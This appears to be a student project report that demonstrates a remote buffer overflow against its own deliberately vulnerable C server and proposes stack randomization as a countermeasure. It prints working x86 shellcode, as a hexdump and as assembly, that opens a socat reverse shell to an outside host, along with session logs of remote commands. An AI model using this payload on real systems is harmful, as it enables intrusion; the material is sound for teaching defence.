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Project Statement
This project demonstrates a remote exploit on a custom made server and suggests a 

counter measure to eliminate the possibility of such an attack. The suggested counter measure 
doesn't attempt to patch the server or filter its incoming traffic. On the contrary its a pretty simple 
method utilizing just a wrapper script to launch the application.

The project was done on a linux system running on an x86 machine and this document 
assumes this henceforth.

Remote Exploit
Concept:

The remote exploit demonstrated in this project is a general remote buffer overflow 
exploit. Simply speaking, the idea is that the server uses a buffer on its stack to store the input 
from the network and while doing it fails to check bounds on the buffer. This allows a malicious 
attacker to send a payload to the server which overflows the buffer on the server corrupting the 
server’s stack.

However, corrupting the server’s execution stack arbitrarily causes the server to crash. 
This is not our primary motive. We would like to corrupt the stack in such a way that we are able 
to execute arbitrary code on the server machine. Hence a specially fabricated payload is sent to 
the server which includes code and some trickery causing the server to corrupt its stack and 
execute the code sent.

At a high level, a remote exploit works in the following manner. The execution stack of a 
process contains activation records of the functions which the process visits. At any point in 
time, the stack contains the activation records of all the functions which the process into which 
the process has entered and not yet exited. When a function calls another function, a return 
address (inside the callee’s code) is saved on the stack which enables the process to resume the 
callee once the called function is done. It is this return address which is clobbered by the 
malicious payload. Hence the buffer is overflowed till the point it hits the return address. The 
attacker attempts to clobber the return address on the stack with an address which points to its 
own code it sent in the payload. If things go fine (usually after some trial and error on the part of 
the attacker) then instead of returning back to the callee, the code in the payload is executed 
giving the attacker a way to execute arbitrary code on the system.

Implementation:
A custom server has been written to demonstrate the remote exploit. This server expects a 

string (say the name of a person) and returns a new string which includes the name and a 
message with it. The code which processes the request is shown below.



void handle_request(int client_fd)
{
        char name[BUF_SIZE];
        int r, t=0;
        int rand;
        fprintf(stderr,"address of name is %x\n", name);
        //This section of code is the buffer overflow vulnerability. It writes to 
name[] till EOF and not till name[] is full.
        do{
                r=read(client_fd, (char*)(name+t), BLK_SIZE);
                t+=r;
        }while(r!=0);
        //Null terminate the data we got so that we can print it.
        *((char*)(name+t)) = '\0';

        //Process the request.
        fd_send(client_fd, name, strlen(name));
        //Get a random string based on time.
        rand = (int)(time(NULL) % MAX_MSGS);
        fd_send(client_fd, msg[rand], strlen(msg[rand]));
}

Note that the buffer for the name is kept as a local variable (and hence allocated on the 
stack) and though its size is fixed, in the loop following it, the buffer is written to without any 
checks on its bounds. This represents a very typical buffer overflow vulnerability. We also print 
the address of the start of this buffer in the function for our convenience so that we know where 
is our payload going to be situated in memory.

Recalling that the stack grows downwards (high memory to low memory) on x86 systems 
we understand that overflowing the buffer name[] eventually hits the word on the stack which 
stores the return address to the callee of the function handle_request. We now construct a 
malicious payload (there is an implementation of a program which does that) such that it is 
padded with a “guessed”  return address towards the end. The malicious payload looks something 
like this:

000000  90 90 eb 32 5e 89 76 30  8d 46 0f 89 46 34 8d 46  |...2^.v0.F..F4.F|
000010  23 89 46 38 c7 46 3c 00  00 00 00 b8 0b 00 00 00  |#.F8.F<.........|
000020  8d 4e 30 89 f3 8d 56 3c  cd 80 bb 00 00 00 00 b8  |.N0...V<........|
000030  01 00 00 00 cd 80 e8 c9  ff ff ff 2f 75 73 72 2f  |.........../usr/|
000040  62 69 6e 2f 73 6f 63 61  74 00 54 43 50 3a 72 69  |bin/socat.TCP:ri|
000050  74 65 73 68 31 2d 63 73  3a 39 39 39 39 00 45 58  |tesh1-cs:9999.EX|
000060  45 43 3a 2f 62 69 6e 2f  73 68 00 00 00 00 00 00  |EC:/bin/sh......|
000070  00 00 00 00 00 00 00 00  c0 f2 ff bf c0 f2 ff bf  |................|

Our guessed stack address is 0xbffff2c0  which we can see appearing twice at the end of 
the payload. The little endianness of the x86 architecture accounts for the bytes seen in reverse 
order. The rest of the bytes is the machine code representation of the following assembly 
program:

        .text
.globl _start



        .type   _start, @function
_start:
# We directly start with a _start label and don't bother about going through a C 
startup code. Similarly we won't be linking to glibc for calling system calls. */
        jmp     L1              # 2 bytes (jump to the call instruction)
L2:
        popl    %esi            # 1 byte (the address of /bin/socat is now in %esi, 
this is because of the call instruction just before "/bin/socat and the call being 
made to this instr.)
        movl    %esi, 48(%esi)  # 3 bytes (prepare the address of the address of "/
bin/socat")
        leal    15(%esi), %eax  # 3 bytes (prepare the address of the address of 
"TCP4...")
        movl    %eax, 52(%esi)  # 3 bytes
        leal    35(%esi), %eax  # 3 bytes (prepare the address of the address of 
"EXEC...")
        movl    %eax, 56(%esi)  # 3 bytes
        movl    $0, 60(%esi)    # 7 bytes (prepare the null address right after the 
address of address of "EXEC...")
        movl    $0xb, %eax      # 5 bytes (0xb is the execve sys_call)
        leal    48(%esi), %ecx  # 3 bytes (prepare sys call params)
        movl    %esi, %ebx      # 2 bytes (prepare sys call params)
        leal    60(%esi), %edx  # 3 bytes (prepare sys call params)
        int     $0x80           # 2 bytes

# exit code
        movl    $0, %ebx        # 5 bytes
        movl    $1, %eax        # 5 bytes (0x1 is the exit sys_call)
        int     $0x80           # 2 bytes
L1:
        call    L2              # 5 bytes
        .string "/usr/bin/socat"        # 15 bytes with the null terminator
        .string "TCP:ritesh1-cs:9999"   # 20 bytes with null terminator
        .string "EXEC:/bin/sh"  # 13 bytes with null terminator
#       The address to the "/bin/socat" is kept here.
#       The address to the "TCP4..." string is kept here.
#       The address to the "EXEC..." string is kept here.
#       A zero is kept here to supply to the execve syscall

If we assume that the control somehow reaches the start of this code (which is why we 
pad the payload with the return address at the end), then we see that first using a jmp and a call, 
the program tricks the machine into putting the address of the strings at the end on the stack. It 
then pops it out and calls on execve with the string as the program to execute. This program (/
usr/bin/socat with its options) is able make a connection to a specific machine (ritesh1-
cs.cs.unc.edu in our case here) and fetches commands to execute in a shell. Thus, if this code is 
executed, ritesh1-cs will see a connection request; when accepted, it gives us access to a shell (/
bin/sh) running on the remote system.

The only task which remains is to guess the address of the buffer where the payload will 
be situated, so that we can construct a payload with the same address padded towards its end. 
The attacker can only guess that address; however, in our implementation we print the address of 
the buffer for our convenience and construct the payload using that.



Note that the size of our code in the payload may not be an integral number of words. In 
such a case we pad it with nops in the front to make it so. Padding with nops also helps in 
reducing some guess work from the return address, as now in a trial and error session, one can 
skip nop bytes for the next address to try.

The Counter
Concept:

The basic idea of the counter comes from the fact that the attacker has to be good at 
guessing the address of the buffer where the payload will be loaded. In general, standard systems 
with default configurations have little variation in the placement of activation records on the 
stack from system to system. Thus, having known the address of a buffer in one system, an 
attacker can easily guess (with few trials) the address of the buffer on another system. However, 
if on every trial from the attacker, the activation record of the vulnerable function is placed at a 
different random location in the stack, then the attacker will not be able to guess it over many 
trials. We will henceforth call this technique Stack Randomization and will see a way to easily 
implement this.

Note that this technique has a few limitations. First, it is not possible to stop the attacker 
to guess the randomized address of the buffer once the server has already been started. Thus, if 
the server say is a forking server, the address of the buffer is not different in the various forks of 
the same process. The attacker could potentially use this to guess the address after a number of 
tries. However, if the server crashes and respawns while being attacked, (which might happen if 
the attacker is trying different kinds of payload on it), then the stack address will be randomized 
once again.

Implementation
On linux, a process’ stack layout looks somewhat like as shown in the figure (assuming 

the default 3GB:1GB split for the user space and the kernel space per process). Thus, an 
important point to note is that the environment variables are mapped to the lowest end of the 
stack. If we change the environment of the vulnerable 
server before running it then the stack address of main 
would be changed and so would the address of the buffer 
in the vulnerable function. Thus, before running our 
vulnerable server, we add a random length string to its 
environment. Each time the server is executed, it gets a 
randomly different length string in the environment 
causing our stack to be randomized.

Consider the implementation of victim server 
which execs a new process for handling each request. We 
implemented the ‘execing server’ by building a server 
which listens for a connection and handles exactly one 
request before exiting. The main() of the server is given 
below. We use the shell’s (in our case bash) for loop 
construct to respawn a new server each time the previous 
server ends. The for loop construct we used is given 
below:

0xbfffffff

ENV

Argv
null

null
libc_main

main

...

low memory

Typical Stack Layout in Linux



ritesh@godfather worm $ for ((;;)) do ./victim; done
address of name is bffff300
address of name is bffff300
address of name is bffff300

The above shows our ‘execing’ server handling three requests.
We also implemented a simple command line utility ‘rand’ which generates a random 

length string (all ‘x’s) and writes it to standard output. To randomize the stack of our ‘execing’ 
server we used the following for loop:

ritesh@godfather worm $ for ((;;)) do RAND_ENV=`./rand` ./victim; done
address of name is bfffef10
address of name is bfffefe0
address of name is bffff130

The above shows our stack randomized execing server handling three requests. Please 
note that the address of the variable name is no more the same in any of the cases.

In Practise
Let us take a look at an exploit session. The table below shows the text appearing on 

three consoles with the lines higher up being earlier in time. Text entered by the user is 
underlined.

[Please note: Though we would have technically run the commands at different hosts, the 
table below shows all of them running on the same host and interacting with the other commands 
using networking channels.]

victim server attacker (code injection) attacker (secondary 
console)

ritesh@godfather worm $ 
for ((;;)) do ./victim; 
done

ritesh@godfather worm $ ./
worm 0xbffff300 0 10 | 
socat TCP:localhost:7777 -
Adjusting Return Address 
padding (to 8) so that it 
is a multiple of 4.
Adjusting Nop padding (to 
2) so that the return 
address is word aligned.

ritesh@godfather ritesh $ 
socat -d -d TCP-LISTEN:
9999 -
2005/04/07 21:38:35 
socat[3848] N listening on 
AF=2 0.0.0.0:9999



victim server attacker (code injection) attacker (secondary 
console)

address of name is 
bffff300

address of name is 
bffff300

address of name is 
bffff300
???2^?v0?F?F4?F#?F8?F<, 
you are going to have a 
really nice life 
henceforth.

Using total payload size = 
128, and the stack address 
guess = bffff300
128 bytes out.
???2^?v0?F?F4?F#?F8?F<, 
you are one of the most 
strong and patient people 
I have ever met.

ritesh@godfather worm $ ./
worm 0xbffff300 0 20 | 
socat TCP:localhost:7777 -
Adjusting Return Address 
padding (to 20) so that it 
is a multiple of 4.
Adjusting Nop padding (to 
2) so that the return 
address is word aligned.
Using total payload size = 
140, and the stack address 
guess = bffff300
140 bytes out.
???2^?v0?F?F4?F#?F8?F<, if 
today is only good for 
you, tomorrow will only be 
better... I know it for 
real!

ritesh@godfather worm $ ./
worm 0xbffff300 0 40 | 
socat TCP:localhost:7777 -
Adjusting Return Address 
padding (to 40) so that it 
is a multiple of 4.
Adjusting Nop padding (to 
2) so that the return 
address is word aligned.
Using total payload size = 
160, and the stack address 
guess = bffff300
160 bytes out.

2005/04/07 21:44:04



victim server attacker (code injection) attacker (secondary 
console)

socat[3848] N accepting 
connection from 
AF=2 152.2.132.97:33412 on 
AF=2 152.2.132.97:9999
2005/04/07 21:44:04 
socat[3848] N reading from 
and writing to stdio
2005/04/07 21:44:04 
socat[3848] N starting 
data transfer loop with 
[4,4] and [0,1]
ls *.c
junk.c
network.c
rand.c
victim-forking.c
victim.c
worm.c
cat junk.c
int add(int a, int b){
        return a+b;
}
int main(int argc, char** 
argv)
{
        
stack_translate(16);
        printf("%d\n", 
add(5, 2));
}

In the above transcript we first start the victim server and then start a separate server (on 
the secondary console) which the exploit will connect to, if successful. The exploit will give 
access to a shell in the connection it makes. We then start guessing two separate parameters, the 
address of the buffer in which the input string is kept and the size of this buffer. To make things 
simple for this session let’s assume the attacker had the knowledge of the address of the buffer 
but didn’t know its size. We then start injecting the worm payload (generated by the ‘worm’ 
executable) making three guesses for the size. We strike it right when the number of bytes in the 
payload becomes 160 bytes. During this invocation, the message from the server (which is 
usually printed on the attacker’s console) gets printed in the victim’s console indicating stack 
corruption. The server running the secondary console gets a connection from the exploit. The 
session also shows shell commands ‘ls *.c’ and ‘cat junk.c’ running remotely on the victim.

The next session demonstrates guessing the buffer address. The technique used here is 
using sufficient nop padding so that even a pretty wayward guess of the address reaches us to one 
of the nops. We will keep the payload size to 160 bytes and keep guessing the stack address.





Note that in this session, none of the addresses used were equal to the address of the 
buffer. The nop padding did the work of making a slightly wayward guess of 0xbffff300 work for 
the actual buffer address of 0xbffff2f0. We overflowed the buffer in all the three cases (as we 
used a 160 byte payload). However, because our guess about the return address was wrong, we 



got segfaults and illegal instruction exceptions on the victim server’s console. This time we also 
see a potentially destructive command ‘rm’ work and show its result on the remotely acquired 
shell.

The Counter in Practise
Instead of showing a (futile) attack session with the counter working, let’s look at the 

trend of the buffer address when we run the same victim server with the counter. The command

echo -n "Ritesh" | socat TCP:localhost:7777 - 

was run several times to generate requests for the server. The following shows the output on the 
victim server’s console.

ritesh@godfather worm $ for ((;;)) do RAND_ENV=`./rand` ./victim; done
address of name is bffff110
address of name is bfffeff0
address of name is bffff060
address of name is bffff040
address of name is bffff1c0
address of name is bfffefd0
address of name is bffff1d0
address of name is bffff130
address of name is bffff0c0
address of name is bfffefe0
address of name is bffff0f0
address of name is bffff0c0
address of name is bffff0c0
address of name is bffff290
address of name is bffff020
address of name is bfffeef0
address of name is bffff0e0

We see that for every request sent to the server, the address of the buffer varies randomly. 
This means that successive trials with guesses about the buffer address will not work here. Each 
trial will represent a new buffer address with only one chance given to the attacker to guess it. 
Previous experience of the attacker (the fact that it didn’t get a connection from the exploit) 
doesn’t count any more as the context of the injected payload differs randomly on each injection.

Further Work
We have demonstrated a remote buffer overflow exploit in detail and have also suggested 

a simple and effective counter to buffer overflow exploits in ‘execing’ servers. However, we 
should note that servers are generally not designed to be ‘execing’ servers. Most servers fork or 
spawn threads for concurrency of operation. Stack randomization is possible in such cases; 
however, it is not possible using as simple a means as environment variables. For an execing 
server we could randomize the stack before the program even started executing its main(). This 
helped us effect a stack randomization without touching the victim’s executable. However, for a 



forking server (a threaded server will show similar characteristics), the new request is serviced 
by a forked process which starts in the middle of the program. Trying to do something with the 
stack while a program is running is potentially dangerous and unstable. Also, the arguments 
passed to a function and the function’s local variables remain in the same activation record. This 
creates a strong linkage between successive activation records making it difficult to use a 
minimal patch to randomize the stack. [We realized this when actually trying to implement a 
mechanism for stack randomization of a running program.] It should be noted that the battle is 
not lost if the stack cannot be randomized. There are sophisticated stack manipulation libraries 
which enable one to run unsafe functions in a differently allocated stack with controlled jumps to 
callees. These techniques have already been applied to unsafe string manipulation functions in 
the C string library to isolate their unsafe characteristics.


